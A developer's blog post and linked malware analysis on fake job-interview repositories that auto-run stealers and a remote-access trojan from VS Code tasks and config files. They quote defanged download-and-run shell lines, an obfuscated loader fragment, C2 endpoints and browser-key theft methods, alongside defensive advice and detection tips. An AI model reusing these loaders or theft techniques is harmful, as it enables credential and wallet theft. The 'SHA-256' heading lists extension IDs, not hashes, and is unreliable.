Contents</summary>

1. Background
2. The three cases at a glance
3. The playbook
4. How to protect yourself
5. If you already opened one
6. Scanning with devguard-scanner
7. Why you shouldn’t rely on it alone
8. Help build it

</details>

Background

This year I went through several “interviews” for blockchain and Web3 developer roles. The pattern was always similar: a friendly recruiter on LinkedIn or Telegram, a short call, then a repository to clone and get running (“just check it works and tell us what you’d improve”).

I scanned each repository statically, without executing anything, before opening it. Three of them were malicious. Each used a different trick, but the goal was the same: run code on the developer’s machine as early and as quietly as possible, then steal credentials and crypto wallets.

About the company names: these are the companies the recruiters claimed to represent. Attackers routinely impersonate real, reputable companies to look credible. Nothing here suggests the real organizations were involved. If a real company’s name is used against you, tell that company. They usually want to know.

The three cases at a glance

The October one is the most complete, so I took it apart down to the decrypted payload. It steals saved browser passwords and cards from 13 browsers, the data of 40 crypto-wallet extensions, the macOS keychain, SSH keys, .env files and anything named like a secret. It also logs your clipboard every second and opens a remote shell for the attacker. The full low-level analysis, with IOCs and hashes, is here: Is VS Code safe for a repo you never run?

The playbook

 Recruiter outreach      "Take-home task"       You open the folder      Auto-execution            Theft
 LinkedIn / Telegram ──▶ Web3 / crypto repo ──▶ (or install deps)   ──▶ IDE task, config file, ──▶ passwords, wallets,
 Discord / email         one commit, new acct                           install hook, git hook     SSH keys, .env, RAT

The remote payload can change at any time. The repo often contains only a tiny loader, and the real malware comes from a server that can serve different code per victim, per OS or per day. A “clean” repo today doesn’t mean a clean repo tomorrow.

How to protect yourself

Before you touch the repo

• Verify the recruiter and the company through an independent channel: the official website, the careers page, or a known employee. Don’t use links the recruiter sent you.
• Push back on “run it locally” as the first step. A real employer will happily walk through the code with you, or give you a sandbox or codespace they control.
• Never clone or open it on your main machine, especially one with wallets, SSH keys, cloud credentials or an unlocked password manager.

Inspect it safely

• Scan it without cloning, for example with devguard scan https://github.com/owner/repo (see below).
• Read it in a plain viewer, such as the GitHub web UI with line wrapping on, or less -S, rather than in your IDE.
• Check the auto-run spots first:
  • .vscode/tasks.json, .vscode/settings.json, .vscode/launch.json, .vscode/extensions.json
  • package.json scripts: preinstall, install, postinstall, prepare
  • every *.config.js, *.config.ts and *.config.mjs
  • .git/hooks, .husky/, .devcontainer/, Makefile, setup.py, pyproject.toml build hooks
  • AI-assistant config (.claude/, .cursor/, CLAUDE.md, AGENTS.md, MCP config), which can contain hooks or instructions aimed at your coding agent
• Look for suspiciously long lines: awk 'length > 300 { print FILENAME ":" FNR ": " length }' $(git ls-files)

Harden your editor

Add this to your user settings.json in VS Code, Cursor, Windsurf or any other fork:

{
  // Never run tasks automatically on folder open
  "task.allowAutomaticTasks": "off",
  // Keep Workspace Trust on, and open unknown folders in Restricted Mode
  "security.workspace.trust.enabled": true,
  "security.workspace.trust.untrustedFiles": "prompt"
}

Tip: When VS Code asks “Do you trust the authors of the files in this folder?”, the answer for any interview repo is No. Restricted Mode still lets you read the code. It just stops tasks, debuggers and many extensions from running it.

If you really have to run it

• Use a disposable VM or cloud dev environment with no credentials, no wallets, no SSH keys and no access to your home directory. Destroy it afterwards.
• Containers help, but don’t mount your home directory, the Docker socket or your SSH agent into them.
• npm install --ignore-scripts (or the pnpm/yarn equivalent) closes one door. The October case shows it’s not enough on its own: that attack never touched npm.
• Keep crypto in a hardware wallet, and never keep seed phrases as files or screenshots on a dev machine.

If you already opened one

Assume full compromise if one of these repos was opened and trusted in your IDE, or if its dependencies were installed. Act from a different, clean device.

1. Disconnect the affected machine from the network.
2. Move your crypto first. Create new wallets with new seed phrases on a clean device, and transfer your funds. Stealers drain wallets within minutes to hours.
3. Change your passwords, starting with email, password manager, banking, GitHub/GitLab, cloud consoles, npm and PyPI. Re-enroll 2FA.
4. Sign out of all sessions everywhere. Stolen cookies get around both passwords and 2FA.
5. Rotate every secret that was on the machine: .env files, API keys, cloud credentials, DB passwords, deploy tokens and SSH keys (remove the old public keys from servers and GitHub too).
6. On macOS, change your login password, because the keychain may have been copied.
7. If it’s a work machine, tell your security team right away. Company secrets may be exposed too.
8. Reinstall the OS. A remote shell means arbitrary code ran, and you can’t confirm a clean state by hand.
9. Report the recruiter’s profile and the repository to the platforms involved (LinkedIn, GitHub and so on).

Scanning with devguard-scanner

After the first one of these, I started building devguard-scanner (PyPI), and I used it for the scans above. It looks for exactly this kind of attack:

• Auto-run triggers: IDE tasks, install and build hooks, config-as-code files, git hooks, AI-assistant hooks.
• Attack chains: it follows each trigger to the code it reaches. “Folder open → hidden obfuscated code” is rated far worse than either one on its own.
• Capabilities: hidden or off-screen code, download-and-execute, browser and wallet data access, credential theft, exfiltration.

It reads files as data and never executes anything.

pipx install devguard-scanner           # or: uv tool install devguard-scanner

# Scan a GitHub repo WITHOUT cloning it: git never runs, so clone-time hooks can't fire,
# and the files never land in a folder your IDE could open
devguard scan https://github.com/owner/repo     # add --ref BRANCH|TAG|SHA if needed

# Scan a local folder or an extracted zip
devguard scan path/to/repo

No install needed:

# Hosted API (public repos); Swagger UI at https://devguard-scanner.vercel.app/docs
curl -s 'https://devguard-scanner.vercel.app/v1/scans/github/owner/repo?format=md'

# Throwaway container
docker run --rm ghcr.io/yilmazhasan/devguard-scanner scan https://github.com/owner/repo --stdout md

You get a verdict, plus a Markdown report that lists each finding with its file and line, why it matters, when it might be benign, and what to do next:

A few other things it can do:

• An MCP server, so AI coding agents (Claude Code, Cursor, Copilot) can check a repo before they run its setup commands. Agents are increasingly the ones typing npm install.
• A CI or pre-commit gate: exit code 1 when findings reach --fail-on (default high).
• Optional AI explanations with your own provider key (Claude, OpenAI, Gemini or a local model). The AI output is advisory only. It can’t change the verdict or hide deterministic findings.

Why you shouldn’t rely on it alone

No scanner can tell you a repo is safe, this one included.

• It’s static analysis. If the payload is downloaded or decrypted at runtime, it may only see the loader. In two of the three cases above, the real malware wasn’t in the repo at all.
• Rules catch known techniques. Novel or heavily obfuscated malware can get past them.
• Dependencies aren’t downloaded and inspected unless they’re committed to the repo.
• Attackers read the same rules we write, and they adapt.

A no-indicators verdict means “nothing matched”, not “safe”. Use the scanner as one layer, together with healthy suspicion, a hardened editor and a disposable environment.

Help build it

These campaigns change every few weeks: new trigger files, new hiding tricks, new loaders. One person can’t keep up with that. devguard-scanner is open source (Apache-2.0), and contributions are very welcome.

• Share samples. If you got a malicious interview repo, open an issue. Defang URLs, and don’t post live payloads publicly; see the security policy.
• Write detection rules for triggers and techniques that aren’t covered yet: new IDEs, build tools, package managers, AI-agent config formats.
• Report false positives and false negatives. Both make it better.
• Add integrations: CI templates, editor extensions, LLM provider plugins.
• Spread the word. The best defense is a developer who knows this attack exists.

Repo: https://github.com/yilmazhasan/devguard-scanner · Issues: https://github.com/yilmazhasan/devguard-scanner/issues · Contributing: CONTRIBUTING.md

The more of us share what we see, the harder and more expensive this attack gets. If this post helps you spot one, pass it on to a friend who’s job hunting.

Contents</summary>

1. The repo
2. Infection chain
3. The trigger: tasks hidden in settings.json
4. The decoy code
5. Stage 1: bootstrap
6. Stage 2: connect-runner
7. Stage 3: worker.js
8. Child 1: browser and wallet stealer
9. Child 2: mass file exfiltration
10. Child 3: remote access trojan
11. Same idea, other tricks
12. Attribution
13. Indicators of compromise
14. Recommendations

</details>

The repo

Infection chain

open folder in VS Code (trusted)
  └─ .vscode/settings.json  task "ExecutionPolicy"  (runOn: folderOpen, hidden output)
       └─ curl|wget|irm  hxxps://cloudfluxio[.]store/api/terminal/bootstrap?os=…&flag=7   [Stage 1]
            ├─ installs portable Node.js v22 → ~/.local/share/daam-demo/node (if node < 19)
            └─ downloads + runs …/api/terminal/connect-runner?flag=7                       [Stage 2]
                 └─ downloads …/api/terminal/script?flag=7
                    → $TMP/daam-extra-XXXX/worker.js, spawned detached + hidden            [Stage 3]
                       ├─ npm install sql.js socket.io-client form-data axios (silent, temp dir)
                       ├─ child 1  "ldbScript"         browser passwords + wallet extensions + keychain
                       ├─ child 2  "autoUploadScript"  recursive file exfiltration
                       └─ child 3  "socketScript"      RAT: remote shell, file browser, clipboard logger
  └─ task "Remove workspace settings": rm .vscode/settings.json; rm -rf .git   (anti-forensics)

The trigger: tasks hidden in settings.json

Most people who know about this attack check .vscode/tasks.json. Here, that file contained only:

{ "version": "2.0.0" }

The real tasks were in .vscode/settings.json, under a "tasks" key, which VS Code also honors:

That last task is anti-forensics. After infection, the trigger and the git history are both gone, so the victim has nothing left to inspect.

Why “you never ran it” doesn’t help: runOn: folderOpen runs the task as soon as you open the folder and answer “Yes, I trust the authors” in the Workspace Trust prompt. Many people click that without thinking, or have trust prompts turned off.

The decoy code

Everything else was built to pass a quick review:

The README and SETUP stress npm install --ignore-scripts for safety. That builds trust, and costs the attacker nothing, because the real attack doesn’t go through npm at all.

Stage 1: bootstrap

The C2 server sends cache-control: no-store, so the payload can change on any request.

• Makes sure Node.js 19 or newer is available. If it isn’t, it downloads the official Node v22.14.0 tarball (on Windows, the LTS MSI, extracted with msiexec /a … /qn) into ~/.local/share/daam-demo/node or %LOCALAPPDATA%\daam-demo\node. Using legitimate, signed Node binaries helps it avoid antivirus detection.
• Downloads Stage 2 to $TMP/daam-connect-runner.XXXXXX.js, runs it with node, and deletes the file on exit.

Stage 2: connect-runner

Plain, unobfuscated JavaScript:

• Fetches Stage 3 from …/api/terminal/script?flag=7 (overridable with the EXTRA_SCRIPT_URL env variable).
• Writes it to $TMP/daam-extra-XXXXXX/worker.js, with a prelude that swallows all exceptions.
• Spawns it with { detached: true, windowsHide: true, stdio: ignore→log files }, adds CREATE_NO_WINDOW (0x08000000) on Windows, then calls child.unref(). The worker outlives the VS Code terminal and stays invisible.
• Contains a kill switch, DAAM_NO_EXTRA=1, and DAAM_DEBUG* switches. These look like the operator’s own testing hooks.

Stage 3: worker.js

A 4.5 MB file, obfuscated with obfuscator.io / javascript-obfuscator:

• a rotated string array of 26,409 entries;
• mixed base64 and RC4 string encoding with 84 keys;
• split strings (5-character chunks) and proxy objects;
• dead-code injection (if ("bssYC" !== "bssYC"));
• self-defending regex checks and debugger anti-debug loops on a setInterval.

How I decoded it without running it:

1. Extracted only the pure decoder functions (the string-array accessors and the rotation IIFE) and ran them in an empty Node vm context with no require, no process, and no network.
2. Ran an acorn AST pass to resolve 88,732 wrapper calls into literal strings, fold concatenations, and inline the proxy objects.
3. Removed about 900 dead constant tables and wrappers.

That took it from 145k lines down to about 1,600 readable ones. The three child payloads are embedded as plain-text JavaScript templates, so they came out in full.

Decoded configuration:

const u_s = "http://167.88.172[.]115:8086/upload"; // file upload, used by autoupload + RAT
const l_s = "http://167.88.172[.]115:8085/upload"; // browser/wallet loot upload
const s_s = "http://167.88.172[.]115:8087";        // RAT: socket.io, /api/notify, /api/log
const u_k = 507; // operator / campaign key, sent as "userkey"/"ukey" header
const t   = 5;   // campaign/build id, used in lock-file names (pid.5.N.lock)
// plus a hard-coded HMAC secret for the upload "validation" header

Main routine:

1. Logs “Starting client” to the C2.
2. Silently runs npm install sql.js socket.io-client form-data axios [puppeteer] --no-save --loglevel silent in a temp directory.
3. Writes three child scripts to $TMP and spawns each one detached and hidden. A lock file $TMP/pid.5.{1,2,3}.lock holding {pid, startedAt} stops duplicate instances.

Child 1: browser and wallet stealer

ldbScript, lock file pid.5.1.lock.

• 13 browsers: Chrome, Brave, AVG Browser, Edge, Opera, Opera GX, Vivaldi, Kiwi, Yandex, Iridium, Comodo Dragon, SRWare Iron, Chromium. Every profile (Default, Profile *).
• Every OS, including WSL. On WSL it runs cmd.exe /c echo %USERNAME% or walks /mnt/c/Users/* to get at the Windows-side browsers.
• Master key theft and decryption:
  • Windows: reads Local State → os_crypt.encrypted_key, then decrypts it with DPAPI through a temporary PowerShell script ($TMP/decrypt-key-*.ps1, ProtectedData::Unprotect, both CurrentUser and LocalMachine scopes).
  • macOS: security find-generic-password -w -s "<Browser> Safe Storage".
  • Linux: secret-tool lookup application …, or Python secretstorage over D-Bus.
  • Then AES-GCM decryption of the v10/v11 password blobs.
• Uploaded to :8085:
  • Login Data, Login Data For Account and Web Data (autofill, saved cards);
  • the decrypted passwords;
  • Local Extension Settings/<id>/* for 40 crypto-wallet extensions (list below);
  • the Brave built-in wallet;
  • on macOS, ~/Library/Keychains/login.keychain-db;
  • a sysinfo.txt with host, OS, username and platform.
• Re-runs 11 times, 30 seconds apart, to catch new data.
• Has a disabled (if (false && …)) Chrome remote-debugging / puppeteer path (--remote-debugging-port=9222) for newer macOS Chrome builds, ready to be switched on.

Child 2: mass file exfiltration

autoUploadScript, lock file pid.5.2.lock.

• Priority directories:
  • ~/Desktop, ~/Documents, ~/Downloads
  • ~/Projects, ~/projects, ~/Development, ~/development, ~/Code, ~/code, ~/Code Projects, ~/source, ~/Source
  • ~/Library/CloudStorage, ~/OneDrive, ~/Google Drive, ~/GoogleDrive
  • /mnt on WSL
• Then everything else: the whole home directory on Unix, every drive letter on Windows.
• Uploads to :8086 any file whose name matches about 250 patterns, including:
  • .env, config, .yaml, .toml, .ini;
  • id_rsa, id_ed25519, .pem, .p12, .pfx, .jks, .keystore;
  • seed, mnemonic, recovery, 12words, bip39, privatekey, wallet, metamask, phantom, ledger, trezor, exodus, electrum;
  • password, credential, token, api_key, secret;
  • .sqlite, .db, .doc(x), .pdf, .xls(x), .txt, .md, .csv, .json, .js, .ts;
  • .png, .jpg (for screenshots of seed phrases);
  • cookie, session, bank, financ, hardhat, truffle and more.
• Files up to 5 MB, with a 120 ms throttle and retries, to stay quiet on the network.

Child 3: remote access trojan

socketScript, lock file pid.5.3.lock.

• Beacon: POST http://167.88.172[.]115:8087/api/notify with host, OS, username and the campaign key. Logs go to /api/log.
• Persistent socket.io connection to ws://167.88.172[.]115:8087, with these events:
  • command: runs arbitrary shell commands (exec, 300 MB buffer, hidden window) and returns the output. Code 102 lists a directory, 107 uploads a chosen file, 108 uploads a whole folder (25 MB per file).
  • shellOpen / shellInput / shellResize / shellClose / shellDetach: a fully interactive remote terminal, using a PTY where available and a hidden TTY backend on Windows.
  • processControl: starts or stops the other two children.
  • whour: identifies the host.
• On connect: searches the whole system for .env files (Get-ChildItem -Recurse across all drives on Windows, find ~ on Unix) and uploads them.
• Clipboard logger: reads the clipboard every second (PowerShell Clipboard::GetText(), pbpaste, xclip/xsel, or WSL → Windows) and sends every new value to the C2. Copied passwords, seed phrases, API keys and wallet addresses all leak this way.

Persistence: none in this build (no Run keys, LaunchAgents, cron or systemd units). The processes live until reboot or until they’re killed. It doesn’t really need persistence: the theft finishes in minutes, and the RAT can install anything it wants afterwards.

Same idea, other tricks

Two other “interview” repos I received this year used the same idea (run on open, stay hidden) with different mechanics. Both got a BLOCK verdict from devguard-scanner.

April 2026: plain tasks.json + install hook. Two folderOpen tasks with "echo": false. One silently runs npm install, the other pipes a per-OS script into a shell:

.vscode/tasks.json:51  curl -L 'hxxps://vscodesetting-task.vercel[.]app/api/settings/mac' | bash
.vscode/tasks.json:54  wget -qO- 'hxxps://vscodesetting-task.vercel[.]app/api/settings/linux' | sh
.vscode/tasks.json:57  curl --ssl-no-revoke -L hxxps://vscodesetting-task.vercel[.]app/api/settings/windows | cmd
package.json:58        "prepare": "node server/server.js"

The silent npm install also fires the prepare lifecycle hook, so there are two independent ways in. The repo also committed node_modules, a known place to hide modified packages.

June 2026: a loader in tailwind.config.js. No .vscode folder and no install hooks at all. Line 890 of tailwind.config.js looks empty in an editor, but after 1,326 spaces it holds obfuscator.io output:

tailwind.config.js:890  <…1326 spaces…> const a0ag=a0a1,a0ak=a0a1,…;(function(a0,a1){…while(!![]){try{const a3=parseInt(ab(0x178))…

tailwind.config.js is executed by Vite/PostCSS during npm run dev and by the Tailwind CSS IntelliSense extension, which loads the project config to power autocomplete. So a file most people would call “just config” is actually code that runs. To see a hidden line like that:

sed -n '890p' tailwind.config.js | cut -c1-2000
awk 'length > 300 { print FILENAME ":" FNR ": " length " chars" }' $(git ls-files)

Attribution

The tradecraft matches the publicly reported “Contagious Interview” fake job-interview campaigns: a crypto/Web3 take-home task, VS Code folderOpen tasks, a BeaverTail-like Node stealer with the same browser and wallet-extension list, and InvisibleFerret-like RAT functionality (ported to JavaScript here). Staging sits on a cheap domain on shared hosting, and the C2 is a bare-IP VPS. I can’t confirm attribution to any specific actor.

Indicators of compromise

Network

• cloudfluxio[.]store: /api/terminal/bootstrap, /api/terminal/windows, /api/terminal/connect-runner, /api/terminal/script
• 167.88.172[.]115 on TCP 8085, 8086 (HTTP /upload) and 8087 (/api/notify, /api/log, socket.io/WebSocket)
• HTTP headers userkey: 507, t: 5, validation: <hmac>, file-metadata: …
• vscodesetting-task.vercel[.]app/api/settings/{mac,linux,windows} (April 2026 repo)

Filesystem

• ~/.local/share/daam-demo/ and %LOCALAPPDATA%\daam-demo\
• $TMP/daam-connect-runner*.js, $TMP/daam-extra-*/worker.js (plus worker.log, worker.out.log, worker.err.log)
• $TMP/pid.5.1.lock, $TMP/pid.5.2.lock, $TMP/pid.5.3.lock
• $TMP/.upload_<timestamp>_*, $TMP/decrypt-key-*.ps1, $TMP/*_login_data_*.db, $TMP/remote-shell-bashrc-*.sh, %TEMP%\daam-node-*.msi
• A repo folder where .vscode/settings.json and .git have disappeared

Process

• node <tmp>/daam-extra-*/worker.js, and node processes started from $TMP with --max-old-space-size=4096 --no-warnings
• powershell -WindowStyle Hidden -EncodedCommand … repeating every second (clipboard polling)

SHA-256 of remote stages (as served 2026-10-10)

nkbihfbeogaeaoehlefnkodbefgpgknn  (MetaMask)          ejbalbakoplchlghecdalmeeeajnimhm  (MetaMask – Edge)
acmacodkjbdgmoleebolmdjonilkdbch  (Rabby)             bfnaelmomeimhlpmgjnjophhpkkoljpa  (Phantom)
ibnejdfjmmkpcnlpebklmnkoeoihofec  (TronLink)          egjidjbpglichdcondbcbdnbeeppgdph  (Trust Wallet)
nphplpgoakhhjchkkhmiggakijnkhfnd  (TON Wallet)        omaabbefbmiijedngplfjmnooppbclkk  (Tonkeeper)
bhhhlbepdkbapadjdnnojkbgioiodbic  (Solflare)          aeachknmefphepccionboohckonoeemg  (Coin98)
aflkmhkiijdbfcmhplgifokgdeclgpoi                      agoakfejjabomempkjlepdflaleeobhb  (Core)
aholpfdialjgjfhomihkjbmgjidlcdno  (Exodus Web3)       afbcbjpbpfadlkmhmclhkeeodmamcflc  (Math Wallet)
cgbogdmdefihhljhfeffkljbghamglni                      dmkamcknogkgcdfhhbddcghachkejeap  (Keplr)
dlcobpjiigpikoobohmabehhmhfoodbb  (Argent X)          efbglgofoippbgcjepnhiblaibcnclgk  (Martian)
ejjladinnckdgjemekebdpeokbikhfci  (Petra)             fhbohimaelbohpjbbldcngcnapndodjp  (Binance Wallet)
fhkbkphfeanlhnlffkpologfoccekhic                      fhmfendgdocmcbmfikdcogofphimnkno
fldfpgipfncgndfolcbkdeeknbbbnhcc  (MyTonWallet)       gjnckgkfmgmibbkoficdidcljeaaaheg
hifafgmccdpekplomjjkcfgodnhcellj  (Crypto.com DeFi)   hmeobnfnfcmdkdcmlblgagmfpfboieaf
hnfanknocfeofbddgcijnmhnfnkdnaad  (Coinbase Wallet)   jiidiaalihmmhddjgbnbgdfflelocpak  (Bitget Wallet)
jblndlipeogpafnldhgmapagcccfchpi  (Kaikas)            jmbkjchcobfffnmjboflnchcbljiljdk
jnjpmcgfcfeffkfgcnjefkbkgcpnkpab                      kpkmkbkoifcfpapmleipncofdbjdpice
khpkpbbcccdmmclmpigdgddabeilkdpd  (Suiet)             ldinpeekobnhjjdofggfgjlcehhmanaj
lgmpcpglpngdoalbgeoldeajfclnhafa  (SafePal)           mcohilncbfahbmgdjkbpemcciiolgcge  (OKX Wallet)
mopnmbcafieddcagagdcbnhejhlodfdd                      nkklfkfpelhghbidbnpdfhblphpfjmbo
penjlddjkjgpnkllboccdgccekpkcbin                      ppbibelpcjmhbdihakflkdcoccbgbkpo  (UniSat)